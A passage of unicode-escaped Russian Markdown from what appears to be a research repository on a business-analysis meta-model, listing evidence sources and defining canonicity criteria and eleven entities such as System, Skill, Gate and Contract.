\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 (\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a \u0431\u0430\u0437\u0435 \u0437\u043d\u0430\u043d\u0438\u0439) | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a77.1, `SR-1`\u2026`SR-6` |\\n| \u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 `G-human` \u0432 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a75 |\\n| \u042d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043d\u0430 \u0441\u044b\u0440\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u0445, \u0431\u0435\u0437 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 | [`exp/ba-meta-model-cross-check-587/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-cross-check-587) |\\n| \u0422\u0440\u0438 \u0444\u043e\u0440\u043c\u044b BCREQ: \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430, \u0434\u043e\u0433\u043e\u0432\u043e\u0440 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a71, \u043f\u0440\u0430\u0432\u0438\u043b\u043e 5 |\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md)\\n  \u2014 \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u0432\u0445\u043e\u0434\u043e\u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`: \u0440\u0435\u0436\u0438\u043c\u044b,\\n  \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432,\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u043c\\n  \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0438 \u0441\u043f\u043b\u043e\u0448\u043d\u043e\u0439 \u0430\u0443\u0434\u0438\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0431\u043b\u043e\u043a\u043e\u0432 \u043c\u043e\u0434\u0443\u043b\u044f; \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\\n  ADR-014.\\n- [`exp/ba-meta-model-563/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-563)\\n  \u2014 \u0434\u0432\u0430 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044f, \u0441\u044b\u0440\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438 \u043b\u043e\u0433\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n- [`2026-09-08-artifact-structure-variance-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 (issue #561), \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u043b\u043e\u044f\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n- [`exp/ba-meta-model-cross-check-587/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-cross-check-587)\\n  \u2014 \u0442\u0440\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0437\u0430\u043c\u0435\u0440\u0430 \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043a\u0435\u043b\u0435\u0442\u0430 \u043d\u0430\\n  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (`M-1 = 0.0`), \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043d\u0430 \u0441\u044b\u0440\u044b\u0445 \u0432\u0445\u043e\u0434\u0430\u0445\\n  \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c.\\n- [`2026-09-07-ecosystem-knowledge-inventory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md)\\n  \u2014 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u044f 368 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043a\u0430\u0440\u0442\u044b \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n## \u0427\u0435\u0433\u043e \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 \u043d\u0435\u0442\\n\\n- **\u041d\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430.** \u041c\u043e\u0434\u0443\u043b\u044c \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u043e\u0441\u0442\u0430\u0432 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b Execution\\n  Package, \u043d\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0435\u0433\u043e \u0444\u0430\u0439\u043b\u044b: \u0438\u0445 \u0434\u043e\u043c \u2014 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0430\u044f \u0441\u0440\u0435\u0434\u0430, \u0430 \u043d\u0435\\n  \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043c\u043e\u0434\u0443\u043b\u044c Source\\n  ([`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md), \u00a72).\\n- **\u041d\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0443\u043b\u0435\u0439 `M0`\u2013`M4` \u0438 \u043e\u0431\u0435\u0438\u0445 \u043e\u0441\u0435\u0439.** \u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f\\n  \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n  ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a75)\\n  \u0438 \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u0431\u044d\u043a\u043b\u043e\u0433, \u0430 \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432.\\n- **\u041d\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430.** \u0414\u043e\u043c\u0435\u043d\u044b, capability \u0438 features \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\\n  \u0441\u043f\u043e\u043a\u0435; Source \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0443\u0440\u043e\u0432\u043d\u0435\u0439.\\n- **\u041d\u0435\u0442 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u043d\u043e\u0440\u043c\u044b.** \u041c\u043e\u0434\u0443\u043b\u044c \u2014 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435. \u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432 \u043d\u043e\u0440\u043c\u0443 \u0438\u0434\u0451\u0442\\n  \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 `B-146`\u2026`B-152` \u0438 `B-155`\u2026`B-161`.\\n- **\u041d\u0435\u0442 \u0437\u0430\u044f\u0432\u043a\u0438 \u043d\u0430 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c.** \u041c\u043e\u0434\u0443\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n  \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0432 GigaCode. \u041f\u0435\u0440\u0435\u043d\u043e\u0441 \u0434\u043e\u043c\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 `projects/` \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435\\n  \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0437\u0430\u0434\u0430\u0447\u0438 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b `B-155` \u0438 `B-156`, \u0430 \u043d\u0435\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.\\n# \u0422\u0435\u043e\u0440\u0438\u044f: \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n\\n## 1. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u043e\u0441\u0442\u0438\\n\\n\u0421\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439, \u0435\u0441\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n| \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 | \u041f\u043e\u0447\u0435\u043c\u0443 |\\n| --- | --- | --- |\\n| `K-1` \u0420\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0430\u044f \u0441\u0438\u043b\u0430 | \u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u0434\u0435\u043b\u0430\u0435\u0442 \u0434\u0432\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b\u043c\u0438. | \u0418\u043d\u0430\u0447\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u2014 \u0441\u0438\u043d\u043e\u043d\u0438\u043c. |\\n| `K-2` \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0441\u0442\u044c | \u042d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u0438\u0442\u044c \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0438\u043b\u0438 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0435\u0439 \u0441\u0440\u0435\u0434\u0435. | \u0418\u043d\u0430\u0447\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u2014 \u0440\u0430\u043c\u043a\u0430 \u0431\u0435\u0437 \u0440\u0435\u0444\u0435\u0440\u0435\u043d\u0442\u0430. |\\n| `K-3` \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u0438 | \u0423 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e \u0438\u043c\u044f \u0432\u043e \u0432\u0441\u0435\u0439 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u0435\u0451 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f\u043c\u0438. | \u0422\u0440\u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u0442\u0440\u0451\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u2014 \u043f\u0440\u044f\u043c\u043e\u0435 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f `K-3`. |\\n\\n\u041d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u043d\u0438\u0436\u0435 \u043d\u0435 \u0432\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u00ab\u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0442\u044b\u00bb: \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u0443\u043a\u0430\u0437\u0430\u043d \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0435\u0437 \u043d\u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u0442\u0432\u0435\u0442\u0438\u0442\u044c.\\n\\n## 2. \u041e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n\\n\u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u0432\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u043a \u0434\u0435\u0432\u044f\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044f\u043c \u0432\u0435\u0440\u0441\u0438\u0438 0.1 \u0438 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442\\n`Skill` \u0438\u0437 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c. \u041a\u0430\u0436\u0434\u043e\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\\n\u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 `K-1`\u2013`K-3` \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043e \u043d\u0438\u0436\u0435.\\n\\n| \u0421\u0443\u0449\u043d\u043e\u0441\u0442\u044c | \u0420\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 (`K-1`) | \u041a\u043b\u044e\u0447 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 |\\n| --- | --- | --- |\\n| `Product` | \u041e \u043a\u0430\u043a\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435? | `Domain \u2192 Capability \u2192 Feature \u2192 Atomic Function` |\\n| `System` | **\u0427\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f?** | \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438\u043b\u0438 \u0435\u0451 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 |\\n| `Artifact` | \u0427\u0442\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0445\u043e\u0434\u043e\u043c \u0438 \u0447\u0442\u043e \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b? | \u043a\u043b\u0430\u0441\u0441 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 + \u0432\u0435\u0440\u0441\u0438\u044f |\\n| `Operation` | \u041a\u0430\u043a\u043e\u0439 **\u0442\u0438\u043f** \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f? | \u0438\u043c\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n| `Skill` | **\u041a\u0430\u043a\u043e\u0439 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u043e\u0435 \u0446\u0435\u043b\u043e\u0435 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c?** | \u0438\u043c\u044f \u043d\u0430\u0432\u044b\u043a\u0430 + \u0432\u0435\u0440\u0441\u0438\u044f |\\n| `Process` | \u041a\u0430\u043a\u043e\u0439 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0432\u044b\u0445\u043e\u0434 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u0438\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f? | \u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n| `Route` | \u041a\u0430\u043a\u043e\u0439 \u043f\u0443\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0438 \u043a\u0430\u043a\u043e\u0439 \u043f\u0443\u0442\u044c \u043f\u0440\u043e\u0439\u0434\u0435\u043d? | \u0433\u0440\u0430\u0444 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 + \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n| `Actor` | \u041a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433 \u0438\u043b\u0438 \u0447\u044c\u044e \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435? | \u0440\u043e\u043b\u044c |\\n| `Gate` | \u0412 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442? | \u0442\u043e\u0447\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 + \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c |\\n| `Contract` | \u041a\u0430\u043a\u0438\u043c \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0447\u0442\u043e\u0431\u044b \u0431\u044b\u0442\u044c \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u043c? | \u0438\u043c\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 + \u0432\u0435\u0440\u0441\u0438\u044f |\\n| `Trace` | \u041a\u0430\u043a \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0432\u0445\u043e\u0434, \u0440\u0430\u0431\u043e\u0442\u0443, \u0430\u043a\u0442\u043e\u0440\u0430, \u0433\u0435\u0439\u0442 \u0438 \u0432\u044b\u0445\u043e\u0434? | \u0440\u0435\u0431\u0440\u043e \u0433\u0440\u0430\u0444\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f |\\n\\n### 2.1 `System` \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n\\n`System` \u2014 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f: \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0439\\n\u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441. \u041e\u043d\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 `K-1`: \u0431\u0435\u0437 \u043d\u0435\u0451\\n\u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b \u00ab\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442 \u043a\u043d\u043e\u043f\u043a\u0443\u00bb \u0438 \u00ab\u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435\u00bb \u2014\\n\u0434\u0432\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432 \u043f\u0440\u0435\u0436\u043d\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438\\n\u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043b\u0438\u0446\u0430.\\n\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u043e | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 |\\n| --- | --- |\\n| `SY-1` | `System` \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430. \u041e\u043d\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c 